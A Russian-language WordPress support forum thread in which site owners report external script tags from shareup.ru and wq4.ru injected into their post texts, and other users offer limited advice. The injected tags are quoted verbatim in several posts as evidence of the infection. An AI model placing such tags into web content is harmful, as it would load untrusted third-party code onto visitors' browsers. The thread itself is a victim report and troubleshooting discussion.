Уязвимость: Добавляется яваскрипт в тексты статей.

  • bokov

    (@bokov)


    9 лет, 8 месяцев назад

    В тексты статей добавляется вот такая строка:
    <script type=»text/javascript» src=»//shareup.ru/social.js»></script>

    Похоже добавляться начала уже давно.

    Добавляется в рандомное место прямо в разрыв слова.

    Замечено на 6 сайтах.

    Пересекающиеся плагины:
    All In One SEO Pack
    Cyr-To-Lat
    Exec-PHP
    WP Super Cache

    Версия wordpress везде последняя: 4.2.3–ru_RU

    Как бороться с заразой? Помогите, пожалуйста!

Просмотр 8 ответов — с 1 по 8 (всего 8)
  • Автор bokov

    (@bokov)

    9 лет, 8 месяцев назад

    Строка иногда имеет вид:
    <script type=»text/javascript» src=»//wq4.ru/js.js»></script>

    SeVlad

    (@sevlad)

    9 лет, 8 месяцев назад

    Как бороться с заразой?

    Это вирус. Сидит в БД. В инете есть инфа.

    Exec-PHP

    Опаснейший и древний плагин. Используйте вместо него шоркодные.

    Модератор Yui

    (@fierevere)

    永子

    9 лет, 8 месяцев назад

    В инете есть инфа.

    помимо сонма зараженных сайтов явно находится только
    https://toster.ru/q/230165

    Автор bokov

    (@bokov)

    9 лет, 8 месяцев назад

    Это вирус. Сидит в БД. В инете есть инфа.

    Конкретнее можно? Сюда написал только по причине, что в инете инфы не нашел.

    Автор bokov

    (@bokov)

    9 лет, 8 месяцев назад

    Так что? никто не знает решения проблемы?

    Flector

    (@flector)

    9 лет, 8 месяцев назад

    так ни у кого из здешних специалистов сайты не взломали, поэтому лично решить данную проблему никто не может.

    а пострадавшие ни слова не говорят о подробностях. самое первейшее — засечь появление скриптов и скинуть логи сервера за этот день, чтобы можно было их изучить. на такое предложение — ни одного ответа.

    а без этого разбираться неизвестно с чем никто не может.

    bronxide

    (@bronxide)

    9 лет, 8 месяцев назад

    Сегодня обнаружил на своем сайте в постах коды
    <script type=»text/javascript» src=»//wq4.ru/js.js»></script>
    <script type=»text/javascript» src=»//shareup.ru/social.js»></script>

    Тоже не знаю как решить проблему. Проверяю файлы, ничего не находит..

    SeVlad

    (@sevlad)

    9 лет, 8 месяцев назад

    bronxide, во первых перечитайте этот топик. Во вторых — Правила форума, п2.

Просмотр 8 ответов — с 1 по 8 (всего 8)
  • Тема «Уязвимость: Добавляется яваскрипт в тексты статей.» закрыта для новых ответов.